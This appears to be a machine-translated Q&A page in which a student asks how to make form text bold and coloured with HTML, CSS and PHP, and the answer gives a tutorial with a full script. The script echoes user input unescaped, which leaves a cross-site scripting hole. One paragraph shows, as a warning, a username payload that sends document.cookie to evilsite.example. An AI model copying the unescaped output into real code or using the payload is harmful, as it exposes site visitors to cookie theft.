选中复选框后将文本输入转换为粗体，并在单击单选按钮后更改颜色

问题描述 投票：0回答：1

我是HTML，CSS和PHP的新手，我需要一些帮助。在网上查询如何解决我的问题后，我完全处于迷失状态，老实说找不到任何有用的解决方案，任何帮助或建议都将不胜感激！

我有一个作业，我正在尝试编写一个HTML表单，它将获取用户的输入，以及一串字符和数字，以在单击单选按钮后更改输入的颜色。选中复选框后，我还需要输入粗体。

最后一件事，如何使用php检查字符串是否为粗体？

这就是我所拥有的

<input type="text" class="textBold" id="textInput">
<input type="checkbox" class="checkText" id="checkInput"> <label> Bold Text </label>

这就是css

.checkText:checked + input
{
   font-weight: bold;
}

我知道我所拥有的显然是错的。再次，任何帮助将不胜感激！

php html css
1个回答
0
投票

由于这是一项任务：

<tutorial mode =“on”tldr =“查看底部完成的脚本”>

您希望用户的输入具有某种样式（粗体，彩色），具体取决于表单中的某些选项。首先，您需要一个表单，允许用户输入一些文本，选择外观选项并将其提交给服务器。

这是一个基本的例子：

<form method="post">
    <label>Your text: <input type="text" name="input"></label><br><br>
    <label><input type="checkbox" name="bold"> Make it bold</label><br><br>
    <label><input type="radio" name="color" value="red"> Make it red</label><br>
    <label><input type="radio" name="color" value="green"> Make it green</label><br>
    <label><input type="radio" name="color" value="blue"> Make it blue</label><br><br>
    <input type="submit" value="Do it!">
</form>

注意字段名称：

  • “input”表示包含用户文本的文本字段
  • 复选框的“粗体”表示文本应为粗体
  • 指示特定颜色的单选按钮的“颜色”

您还需要在某处显示用户选择的结果。这意味着我们将不得不提前考虑一下：我们如何将用户输入的文本和样式信息传递给HTML代码？显然我们至少需要一个变量，但最理想，最简洁，最干净的方法是什么呢？

有几种方法可以在HTML中设置一段文本的样式。您可以使用内联样式：

<span style="font-weight: bold; color: red">Bold and red!</span>

或者您可以使用类：

<style>
    .bold { font-weight: bold; }
    .red { color: red; }
</style>
<span class="bold red">Red and bold!</span>

天啊，你甚至可以全力以赴地上学：

<font color="red"><b>Also bold and red!</b></font>

您必须根据自己喜欢的方式自行选择。对于本教程，我将使用CSS类，所以让我们定义它们：

<style>
    .bold { font-weight: bold; }
    .red { color: red; }
    .green { color: green; }
    .blue { color: blue; }
</style>

选择这种方式意味着我需要两个PHP变量：一个用于用户输入的文本，另一个用于适用于该文本的CSS类。我将它们命名为$user_input和$classes并将它们添加到表单下方：

<div class="<?php echo $classes; ?>">
    <?php echo $user_input; ?>
</div>

为了方便起见，我假设您的课程尚未涵盖跨站点脚本，因此我不打算对用户的输入进行消毒，并确保它的显示安全。向老师询问此类事件的风险，例如，如果它是用户拥有个人资料的网站的一部分，并且允许设置自己的用户名，然后为每个网站的访问者呈现粗体/彩色，并输入一些恶意用户像Bob<script>document.write('<script src="https://evilsite.example/steal?cookies=' + escape(document.cookie) + '"></script>');</script>这样的用户名。

现在是时候深入研究PHP了。我将把所有代码放在文件的最开头，因为那是我个人觉得它属于的地方。但是对于这个项目来说，只要在你要输出结果的<div>之前，它就放在哪里并不重要。

首先让我们将两个变量定义为最初为空：

<?php
$user_input = "";
$classes = "";

大。要实际设置其值，我们需要访问用户提交的信息。这些值仅在实际提交表单后才可用。由于我们已将表单的method属性设置为post，因此我们可以轻松地检查：

if ($_SERVER['REQUEST_METHOD'] == "POST") {
}

在这些括号内是我们开始工作的地方。当表单使用“post”方法向服务器提交数据时，这些字段将在PHP中从本机$_POST数组中获得。要检索值，我们需要知道表单中输入字段的名称（参见上文）。因此，用户填写的任何文本都应该在$_POST['input']中。复选框（如果选中）将在$_POST['bold']中，颜色（如果有的话）将在$_POST['color']中。

有一些问题需要考虑：如果未选中该复选框，则不会将其提交给服务器。同样，如果没有选择任何单选按钮，它们也不会被提交给服务器。当你考虑它时这是有道理的，但这也意味着如果没有选中复选框，只需访问$_POST['bold']就会给你一个“未定义的索引”警告（因为在$_POST数组中没有名为“bold”的索引）。幸运的是，我们可以使用PHP的isset()函数来检查是否设置了值。

现在您也知道为什么我们需要先使用空值定义变量：如果请求方法不是“POST”（即：如果用户首先打开表单但尚未提交表单），我们将不会做任何事情，当我们试图显示它们时，我们可以获得“未定义的变量”通知。

首先让我们填充我们的$user_input变量，因为那是最简单的：

    $user_input = $_POST['input'];

填写$classes变量需要一些条件检查。我们首先检查是否需要将文本设为粗体：

    if (isset($_POST['bold'])) {
        $classes .= "bold";
    }

请记住：如果未选中该复选框，则$_POST['bold']将不存在。所以我们不需要检查任何具体的值;如果它存在，我们需要使文本变粗。就那么简单。

接下来是颜色：

    if (isset($_POST['color'])) {
        $classes .= " ";
        $classes .= $_POST['color'];
    }

那个空间是为了确保课程分开。如果我们没有设置“粗体”类并不重要，浏览器将简单地忽略该情况下的空间。如果我们不添加空格，我们冒险使用名为“boldgreen”的类而不是两个类“bold green”。请注意，在此示例中，我将CSS类命名为与颜色相同。只要我们的单选按钮的值与它们相匹配，我们也可以将它们命名为“漂亮”，“漂亮”和“独角兽”。

所以现在，如果用户输入了文本“Hello，world！”，选中了复选框并选中了蓝色单选按钮，$user_input将是“Hello，world！”和$classes将是“大胆的蓝色”，将呈现为：

<div class="bold blue">
    Hello, world!
</div>

<tutorial mode =“off”>

把这一切放在一起，我们最终得到以下文件：

<?php
$user_input = "";
$classes = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $user_input = $_POST['input'];

    if (isset($_POST['bold'])) {
        $classes .= "bold";
    }

    if (isset($_POST['color'])) {
        $classes .= " ";
        $classes .= $_POST['color'];
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Assignment</title>
    <style>
        .bold { font-weight: bold; }
        .red { color: red; }
        .green { color: green; }
        .blue { color: blue; }
    </style>
</head>
<body>
    <form method="post">
        <label>Your text: <input type="text" name="input"></label><br><br>
        <label><input type="checkbox" name="bold"> Make it bold</label><br><br>
        <label><input type="radio" name="color" value="red"> Make it red</label><br>
        <label><input type="radio" name="color" value="green"> Make it green</label><br>
        <label><input type="radio" name="color" value="blue"> Make it blue</label><br><br>
        <input type="submit" value="Do it!">
    </form>
    <div class="<?php echo $classes; ?>">
        <?php echo $user_input; ?>
    </div>
</body>
</html>

在行动here看到它。

我鼓励你玩这个。添加一些不同的颜色，可能添加另一个复选框以使文本为斜体或下划线。也许添加一组不同的单选按钮来选择字体或文本大小。如果你赶时间，复制/粘贴是好的，但你需要编辑/体验才能真正学习。

不要忘记有很多方法可以刮胡子，这只是一个例子。

最新问题
© www.soinside.com 2019 - 2024. All rights reserved.